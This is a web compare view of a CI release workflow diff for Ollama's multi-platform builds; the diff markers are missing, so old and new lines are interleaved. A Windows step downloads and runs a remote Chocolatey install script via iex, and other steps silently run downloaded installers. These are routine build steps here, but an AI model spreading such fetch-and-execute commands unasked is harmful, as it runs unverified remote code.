Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
efb8352d62 | ||
|
|
87c21bc22f | ||
|
|
24e5cebdb9 |
No files matched your search
@@ -16,7 +16,7 @@ jobs:
|
||||
outputs:
|
||||
GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
|
||||
VERSION: ${{ steps.goflags.outputs.VERSION }}
|
||||
vendorsha: ${{ steps.goflags.outputs.vendorsha }}
|
||||
vendorsha: ${{ steps.changes.outputs.vendorsha }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Set environment
|
||||
@@ -24,7 +24,7 @@ jobs:
|
||||
run: |
|
||||
echo GOFLAGS="'-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${GITHUB_REF_NAME#v}\" \"-X=github.com/ollama/ollama/server.mode=release\"'" | tee -a $GITHUB_OUTPUT
|
||||
echo VERSION="${GITHUB_REF_NAME#v}" | tee -a $GITHUB_OUTPUT
|
||||
echo vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
|
||||
echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
|
||||
|
||||
darwin-build:
|
||||
runs-on: macos-26-xlarge
|
||||
@@ -39,27 +39,11 @@ jobs:
|
||||
APPLE_ID: ${{ vars.APPLE_ID }}
|
||||
MACOS_SIGNING_KEY: ${{ secrets.MACOS_SIGNING_KEY }}
|
||||
MACOS_SIGNING_KEY_PASSWORD: ${{ secrets.MACOS_SIGNING_KEY_PASSWORD }}
|
||||
DEVELOPER_DIR: /Applications/Xcode_26.4.1.app/Contents/Developer
|
||||
CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Select Xcode 26.4.1
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
if [ ! -d "${DEVELOPER_DIR}" ]; then
|
||||
echo "Missing ${DEVELOPER_DIR}"
|
||||
ls -1 /Applications | grep '^Xcode' || true
|
||||
exit 1
|
||||
fi
|
||||
|
||||
sudo xcode-select -s "${DEVELOPER_DIR}"
|
||||
sw_vers
|
||||
xcodebuild -version
|
||||
xcrun --sdk macosx --show-sdk-version
|
||||
xcrun --find metal
|
||||
- run: |
|
||||
echo $MACOS_SIGNING_KEY | base64 --decode > certificate.p12
|
||||
security create-keychain -p password build.keychain
|
||||
@@ -73,9 +57,7 @@ jobs:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
Makefile.sync
|
||||
- run: |
|
||||
./scripts/build_darwin.sh
|
||||
- name: Log build results
|
||||
@@ -91,19 +73,15 @@ jobs:
|
||||
dist/*.dmg
|
||||
|
||||
windows-depends:
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [windows]
|
||||
arch: [amd64]
|
||||
preset: ['CPU']
|
||||
build-steps: ['cpu cpuArm64']
|
||||
include:
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 12'
|
||||
build-steps: cuda12
|
||||
install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
@@ -111,10 +89,10 @@ jobs:
|
||||
- '"cublas"'
|
||||
- '"cublas_dev"'
|
||||
cuda-version: '12.8'
|
||||
flags: ''
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 13'
|
||||
build-steps: cuda13
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
@@ -125,39 +103,23 @@ jobs:
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
flags: ''
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 13 ARM64'
|
||||
build-steps: cuda13Arm64Cross
|
||||
install: https://packages.nvidia.com/prerelease/cuda/13.4.0/local_installers/cuda_13.4.0_windows_x86_64.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"cudart_cross"'
|
||||
- '"nvcc"'
|
||||
- '"nvcc_cross"'
|
||||
- '"cublas_cross"'
|
||||
- '"cublas_dev"'
|
||||
- '"crt"'
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.4'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'ROCm 7'
|
||||
build-steps: rocm7
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
|
||||
rocm-version: '7.1'
|
||||
preset: 'ROCm 6'
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
|
||||
rocm-version: '6.2'
|
||||
flags: '-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
|
||||
runner_dir: 'rocm'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: Vulkan
|
||||
build-steps: vulkan
|
||||
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
|
||||
flags: ''
|
||||
runner_dir: 'vulkan'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'MLX CUDA 13'
|
||||
build-steps: mlxCuda13
|
||||
build-parallel: '16'
|
||||
cmake-cuda-flags: '-t 6'
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
|
||||
cuda-components:
|
||||
@@ -173,34 +135,18 @@ jobs:
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
flags: ''
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
environment: release
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- if: startsWith(matrix.preset, 'MLX ')
|
||||
name: Increase pagefile to 200 GB
|
||||
uses: al-cheb/configure-pagefile-action@v1.5
|
||||
with:
|
||||
minimum-size: 16GB
|
||||
maximum-size: 200GB
|
||||
disk-root: "D:"
|
||||
- name: Install system dependencies
|
||||
run: |
|
||||
choco install -y --no-progress ccache ninja
|
||||
if (Get-Command ccache -ErrorAction SilentlyContinue) {
|
||||
ccache -o cache_dir=${{ github.workspace }}\.ccache
|
||||
}
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Install Windows ARM64 cross compiler
|
||||
run: |
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan') || startsWith(matrix.preset, 'MLX ')
|
||||
id: cache-install
|
||||
uses: actions/cache/restore@v4
|
||||
@@ -215,18 +161,8 @@ jobs:
|
||||
name: Install CUDA ${{ matrix.cuda-version }}
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
$ProgressPreference = 'SilentlyContinue'
|
||||
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
|
||||
for ($attempt = 1; $attempt -le 3; $attempt++) {
|
||||
try {
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
break
|
||||
} catch {
|
||||
if ($attempt -eq 3) { throw }
|
||||
Write-Host "CUDA installer download attempt $attempt failed: $($_.Exception.Message); retrying in 15s"
|
||||
Start-Sleep -Seconds 15
|
||||
}
|
||||
}
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
$subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
|
||||
Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
|
||||
}
|
||||
@@ -259,12 +195,12 @@ jobs:
|
||||
}
|
||||
|
||||
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
|
||||
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
|
||||
if (Test-Path $vulkanRuntime) {
|
||||
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
|
||||
}
|
||||
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
|
||||
- if: matrix.preset == 'CPU'
|
||||
run: |
|
||||
echo "CC=clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "CXX=clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
- if: startsWith(matrix.preset, 'MLX ')
|
||||
name: Install cuDNN for MLX
|
||||
run: |
|
||||
@@ -296,63 +232,72 @@ jobs:
|
||||
with:
|
||||
path: ${{ github.workspace }}\.ccache
|
||||
key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
|
||||
- name: Build Windows dependencies
|
||||
- name: Build target "${{ matrix.preset }}"
|
||||
run: |
|
||||
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
|
||||
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
|
||||
$steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
|
||||
./scripts/build_windows.ps1 @steps
|
||||
cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }} --install-prefix "$((pwd).Path)\dist\${{ matrix.os }}-${{ matrix.arch }}"
|
||||
cmake --build --parallel ([Environment]::ProcessorCount) --preset "${{ matrix.preset }}"
|
||||
cmake --install build --component "${{ startsWith(matrix.preset, 'MLX ') && 'MLX' || startsWith(matrix.preset, 'CUDA ') && 'CUDA' || startsWith(matrix.preset, 'ROCm ') && 'HIP' || startsWith(matrix.preset, 'Vulkan') && 'Vulkan' || 'CPU' }}" --strip
|
||||
Remove-Item -Path dist\lib\ollama\rocm\rocblas\library\*gfx906* -ErrorAction SilentlyContinue
|
||||
env:
|
||||
CMAKE_GENERATOR: Ninja
|
||||
OLLAMA_BUILD_PARALLEL: ${{ matrix.build-parallel || '' }}
|
||||
OLLAMA_CMAKE_CUDA_FLAGS: ${{ matrix.cmake-cuda-flags || '' }}
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Verify Windows CPU payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
|
||||
path: dist\*
|
||||
|
||||
windows-build:
|
||||
runs-on: windows
|
||||
strategy:
|
||||
matrix:
|
||||
os: [windows]
|
||||
arch: [amd64, arm64]
|
||||
include:
|
||||
- os: windows
|
||||
arch: amd64
|
||||
llvmarch: x86_64
|
||||
- os: windows
|
||||
arch: arm64
|
||||
llvmarch: aarch64
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
environment: release
|
||||
needs: [setup-environment]
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- name: Install ARM64 system dependencies
|
||||
if: matrix.arch == 'arm64'
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
|
||||
iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
|
||||
echo "C:\ProgramData\chocolatey\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
|
||||
Invoke-WebRequest -Uri https://aka.ms/vs/17/release/vc_redist.arm64.exe -OutFile "${{ runner.temp }}\vc_redist.arm64.exe"
|
||||
Start-Process -FilePath "${{ runner.temp }}\vc_redist.arm64.exe" -ArgumentList @("/install", "/quiet", "/norestart") -NoNewWindow -Wait
|
||||
|
||||
choco install -y --no-progress git gzip
|
||||
echo "C:\Program Files\Git\cmd" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
- name: Install clang and gcc-compat
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-${{ matrix.llvmarch }}.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt*").path
|
||||
echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
Makefile.sync
|
||||
- name: Verify gcc is actually clang
|
||||
run: |
|
||||
$ErrorActionPreference='Continue'
|
||||
@@ -369,30 +314,20 @@ jobs:
|
||||
with:
|
||||
node-version: "20"
|
||||
- run: |
|
||||
./scripts/build_windows ollama ollamaArm64 app appArm64
|
||||
- name: Verify Windows build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-arm64/ollama.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
./scripts/build_windows ollama app
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: build-windows-amd64
|
||||
name: build-${{ matrix.os }}-${{ matrix.arch }}
|
||||
path: |
|
||||
dist\*
|
||||
|
||||
windows-app:
|
||||
runs-on: windows
|
||||
environment: release
|
||||
needs: [setup-environment, windows-build, windows-depends]
|
||||
needs: [windows-build, windows-depends]
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
@@ -418,9 +353,7 @@ jobs:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
Makefile.sync
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: depends-windows*
|
||||
@@ -434,18 +367,6 @@ jobs:
|
||||
- name: Log dist contents after download
|
||||
run: |
|
||||
gci -path .\dist -recurse
|
||||
- name: Verify Windows package inputs
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/ollama.exe \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/ollama.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- run: |
|
||||
./scripts/build_windows.ps1 deps sign installer zip
|
||||
- name: Log contents after build
|
||||
@@ -459,34 +380,20 @@ jobs:
|
||||
dist/*.ps1
|
||||
dist/OllamaSetup.exe
|
||||
|
||||
linux-depends:
|
||||
linux-build:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- arch: amd64
|
||||
target: llama-server-cpu
|
||||
- arch: amd64
|
||||
target: llama-server-cuda_v12
|
||||
- arch: amd64
|
||||
target: llama-server-cuda_v13
|
||||
- arch: amd64
|
||||
target: mlx
|
||||
- arch: amd64
|
||||
target: llama-server-rocm_v7_2
|
||||
- arch: amd64
|
||||
target: llama-server-vulkan
|
||||
- arch: arm64
|
||||
target: llama-server-cpu
|
||||
- arch: arm64
|
||||
target: llama-server-cuda_v12
|
||||
- arch: arm64
|
||||
target: llama-server-cuda_v13
|
||||
- arch: arm64
|
||||
target: jetpack-5
|
||||
- arch: arm64
|
||||
target: jetpack-6
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
- os: linux
|
||||
arch: amd64
|
||||
target: archive
|
||||
- os: linux
|
||||
arch: amd64
|
||||
target: rocm
|
||||
- os: linux
|
||||
arch: arm64
|
||||
target: archive
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
environment: release
|
||||
needs: setup-environment
|
||||
env:
|
||||
@@ -494,115 +401,83 @@ jobs:
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
- uses: docker/login-action@v3
|
||||
with:
|
||||
username: ${{ vars.DOCKER_USER }}
|
||||
password: ${{ secrets.DOCKER_ACCESS_TOKEN }}
|
||||
- if: matrix.target == 'mlx'
|
||||
name: Increase Linux swap to 200 GB
|
||||
shell: bash
|
||||
run: |
|
||||
set -e
|
||||
SWAP_PATH=/swapfile-mlx
|
||||
SWAP_SIZE_GB=200
|
||||
if [ -f "$SWAP_PATH" ]; then
|
||||
sudo swapoff "$SWAP_PATH" 2>/dev/null || true
|
||||
sudo rm -f "$SWAP_PATH"
|
||||
fi
|
||||
if ! sudo fallocate -l ${SWAP_SIZE_GB}G "$SWAP_PATH" 2>/dev/null; then
|
||||
echo "fallocate unsupported, falling back to dd"
|
||||
sudo dd if=/dev/zero of="$SWAP_PATH" bs=1M count=$((SWAP_SIZE_GB * 1024))
|
||||
fi
|
||||
sudo chmod 600 "$SWAP_PATH"
|
||||
sudo mkswap "$SWAP_PATH"
|
||||
sudo swapon "$SWAP_PATH"
|
||||
swapon --show
|
||||
free -h
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/${{ matrix.arch }}
|
||||
platforms: ${{ matrix.os }}/${{ matrix.arch }}
|
||||
target: ${{ matrix.target }}
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: |
|
||||
GOFLAGS=${{ env.GOFLAGS }}
|
||||
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
|
||||
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
cache-from: |
|
||||
type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }}
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
cache-to: type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }},mode=max
|
||||
outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
cache-to: type=inline
|
||||
- name: Deduplicate CUDA libraries
|
||||
run: |
|
||||
./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
- run: |
|
||||
for COMPONENT in bin/* lib/ollama/*; do
|
||||
case "$COMPONENT" in
|
||||
bin/ollama*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/*.so*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/cuda_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/vulkan*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/mlx*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/include*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/cuda_jetpack5) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
|
||||
lib/ollama/cuda_jetpack6) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
|
||||
lib/ollama/rocm) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
|
||||
esac
|
||||
done
|
||||
working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
- run: |
|
||||
echo "Manifests"
|
||||
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
|
||||
echo $ARCHIVE
|
||||
cat $ARCHIVE
|
||||
done
|
||||
- run: |
|
||||
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
|
||||
tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd --ultra -22 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst);
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: bundles-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.target }}
|
||||
path: |
|
||||
*.tar.zst
|
||||
|
||||
# Build each Docker variant (OS, arch, and flavor) separately. Using QEMU is unreliable and slower.
|
||||
# Heavy stages were pre-built by linux-depends; this job is cache-hit-only for those layers
|
||||
# and just assembles, runs the Go build, pushes the final image, and extracts release bundles.
|
||||
docker-build-push:
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- os: linux
|
||||
arch: arm64
|
||||
archive-target: archive
|
||||
build-args: |
|
||||
CGO_CFLAGS
|
||||
CGO_CXXFLAGS
|
||||
GOFLAGS
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
cache-from: |
|
||||
type=registry,ref=ollama/release:cache-arm64-llama-server-cpu
|
||||
type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v12
|
||||
type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v13
|
||||
type=registry,ref=ollama/release:cache-arm64-jetpack-5
|
||||
type=registry,ref=ollama/release:cache-arm64-jetpack-6
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
- os: linux
|
||||
arch: amd64
|
||||
archive-target: archive
|
||||
build-args: |
|
||||
CGO_CFLAGS
|
||||
CGO_CXXFLAGS
|
||||
GOFLAGS
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
cache-from: |
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v12
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v13
|
||||
type=registry,ref=ollama/release:cache-amd64-mlx
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-vulkan
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
- os: linux
|
||||
arch: amd64
|
||||
suffix: '-rocm'
|
||||
archive-target: image-archive
|
||||
build-args: |
|
||||
CGO_CFLAGS
|
||||
CGO_CXXFLAGS
|
||||
GOFLAGS
|
||||
FLAVOR=rocm
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
OLLAMA_MLX_BUILD_JOBS=16
|
||||
OLLAMA_MLX_NVCC_THREADS=6
|
||||
cache-from: |
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
|
||||
type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
|
||||
type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
environment: release
|
||||
needs: [setup-environment, linux-depends]
|
||||
needs: setup-environment
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
steps:
|
||||
@@ -617,11 +492,9 @@ jobs:
|
||||
with:
|
||||
context: .
|
||||
platforms: ${{ matrix.os }}/${{ matrix.arch }}
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: ${{ matrix.build-args }}
|
||||
outputs: type=image,name=${{ vars.DOCKER_REPO }},push-by-digest=true,name-canonical=true,push=true
|
||||
cache-from: ${{ matrix.cache-from }}
|
||||
cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
|
||||
cache-to: type=inline
|
||||
- run: |
|
||||
mkdir -p ${{ matrix.os }}-${{ matrix.arch }}
|
||||
@@ -632,69 +505,10 @@ jobs:
|
||||
name: digest-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}
|
||||
path: |
|
||||
${{ runner.temp }}/${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}.txt
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: ${{ matrix.os }}/${{ matrix.arch }}
|
||||
target: ${{ matrix.archive-target }}
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: ${{ matrix.build-args }}
|
||||
outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
cache-from: ${{ matrix.cache-from }}
|
||||
- name: Deduplicate CUDA libraries
|
||||
run: |
|
||||
./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
- name: Verify Linux build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base="dist/${{ matrix.os }}-${{ matrix.arch }}"
|
||||
for payload in \
|
||||
"$base/bin/ollama" \
|
||||
"$base/lib/ollama/llama-server"
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- run: |
|
||||
for COMPONENT in bin/* lib/ollama/*; do
|
||||
case "$COMPONENT" in
|
||||
